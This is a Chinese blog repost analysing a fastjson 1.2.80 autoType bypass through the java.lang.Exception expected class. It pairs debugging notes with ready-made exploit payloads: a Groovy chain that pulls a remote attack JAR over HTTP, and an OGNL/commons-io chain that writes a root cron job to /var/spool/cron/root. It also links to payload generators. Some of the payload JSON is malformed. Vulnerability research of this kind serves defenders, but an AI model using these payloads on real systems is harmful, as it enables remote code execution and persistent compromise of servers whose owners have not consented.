经验首页 前端设计 程序设计 Java相关 移动开发 数据库/运维 软件/图像 大数据/云计算 其他经验
当前位置:技术经验 » JS/JS库/框架 » JSON » 查看文章
fastjson 1.2.80 漏洞浅析及利用payload
来源:cnblogs  作者:PYkiller  时间:2023/8/4 9:04:08  对本文有异议

0x01 说明

在fastjson的1.2.80版本中可以通过将依赖加入到java.lang.Exception 期望类的子类中,绕过checkAuto。

0x02 简析

  1. {
  2. "@type":"java.lang.Exception",
  3. "@type":"org.codehaus.groovy.control.CompilationFailedException",
  4. "unit":{}
  5. }

直接DefaultJSONParser.class搜checkAuto下断点

image-20230731210147425

步入到com/alibaba/fastjson/parser/ParserConfig.java

image-20230801143800548

使用TypeUtils.getClassFromMapping从缓存中读取java.lang.Exception

image-20230731220017287

跳到了checkAuto

image-20230801143913556

往下走,获取ObjectDeserializer对象,因为是异常类,获取到的是ThrowableDeserializer反序列化器

image-20230801144010902

继续步入,跳转到com/alibaba/fastjson/parser/ParserConfig.java

image-20230801144609065

匹配条件image-20230801160412905

此时clazz为null

image-20230801160614089

匹配下个

image-20230801160724299步入com/alibaba/fastjson/util/TypeUtils.java

Mappings.put()将类添加到map中

但是cache不为真

image-20230801161151268

匹配下个

image-20230801161245810

此时expectClass

image-20230801161437063

expectClass非空使用addMapping将clazz类加入缓存

image-20230801170509298

image-20230801145908735

每次处理一层json都会putDeserializer,可以向deserializers添加新数据。

image-20230801172351369

第三次处理会加上org.codehaus.groovy.control.ProcessingUnit

image-20230801173833837

0x03 利用

1、groovy链

需要存在groovy链,这里测试版本使用如下版本

  1. <dependency>
  2. <groupId>org.codehaus.groovy</groupId>
  3. <artifactId>groovy-all</artifactId>
  4. <version>3.0.12</version>
  5. </dependency>

jar包用的

  1. https://github.com/Lonely-night/fastjsonVul

将CompilationFailedException作为子类,java.lang.Exception作为期望类可绕过检测

  1. {
  2. "@type":"java.lang.Exception",
  3. "@type":"org.codehaus.groovy.control.CompilationFailedException",
  4. "unit":{}
  5. }

发利用包

  1. {
  2. "@type":"org.codehaus.groovy.control.ProcessingUnit",
  3. "@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
  4. "config":{
  5. "@type": "org.codehaus.groovy.control.CompilerConfiguration",
  6. "classpathList":["http://127.0.0.1:8081/attack-1.jar"]
  7. },
  8. "gcl":null,
  9. "destDir": "/tmp"
  10. }

image-20230801174215684

2、ognl & io & aspectj & commons-codec

payload可通过大哥写的生成

https://github.com/kezibei/fastjson_payload/blob/main/src/test/Fastjson26_ognl_io_write_4.java

这里payload为往/var/spool/cron/root目录写入计划任务,注意只能往存在目录下写文件

  1. 1.2.73-1.2.80 ognl-3.2.21 commons-io-2.2 aspectjtools-1.9.6 commons-codec-1.6
  2. 写入复杂文件结构,文件需要大于8kb
  1. {
  2. "su14": {
  3. "@type": "java.lang.Exception",
  4. "@type": "ognl.OgnlException"
  5. },
  6. "su15": {
  7. "@type": "java.lang.Class",
  8. "val": {
  9. "@type": "com.alibaba.fastjson.JSONObject",
  10. {
  11. "@type": "java.lang.String"
  12. "@type": "ognl.OgnlException",
  13. "_evaluation": ""
  14. }
  15. },
  16. "su16": {
  17. "@type": "ognl.Evaluation",
  18. "node": {
  19. "@type": "ognl.ASTMethod",
  20. "p": {
  21. "@type": "ognl.OgnlParser",
  22. "stream": {
  23. "@type":"org.apache.commons.io.input.BOMInputStream",
  24. "delegate":{
  25. "@type":"org.apache.commons.io.input.TeeInputStream",
  26. "input":{
  27. "@type": "org.apache.commons.codec.binary.Base64InputStream",
  28. "in":{
  29. "@type":"org.apache.commons.io.input.CharSequenceInputStream",
  30. "charset":"utf-8",
  31. "bufferSize": 1024,
  32. "s":{"@type":"java.lang.String""文件baes64"
  33. },
  34. "doEncode":false,
  35. "lineLength":1024,
  36. "lineSeparator":"5ZWKCg==",
  37. "decodingPolicy":0
  38. },
  39. "branch":{
  40. "@type":"org.eclipse.core.internal.localstore.SafeFileOutputStream",
  41. "targetPath":"/var/spool/cron/root"
  42. },
  43. "closeBranch":true
  44. },
  45. "include":true,
  46. "boms":[{
  47. "@type": "org.apache.commons.io.ByteOrderMark",
  48. "charsetName": "UTF-8",
  49. "bytes":[85, 48, 104...文件bytes]
  50. }],
  51. }
  52. }
  53. }
  54. },
  55. "su17": {
  56. "$ref": "$.su16.node.p.stream"
  57. },
  58. "su18": {
  59. "$ref": "$.su17.bOM.bytes"
  60. }
  61. }

原文链接:https://www.cnblogs.com/pykiller/p/fastjson-1_2_80.html

 友情链接:直通硅谷  点职佳  北美留学生论坛

本站QQ群:前端 618073944 | Java 606181507 | Python 626812652 | C/C++ 612253063 | 微信 634508462 | 苹果 692586424 | C#/.net 182808419 | PHP 305140648 | 运维 608723728

W3xue 的所有内容仅供测试,对任何法律问题及风险不承担任何责任。通过使用本站内容随之而来的风险与本站无关。
关于我们  |  意见建议  |  捐助我们  |  报错有奖  |  广告合作、友情链接(目前9元/月)请联系QQ:27243702 沸活量
皖ICP备17017327号-2 皖公网安备34020702000426号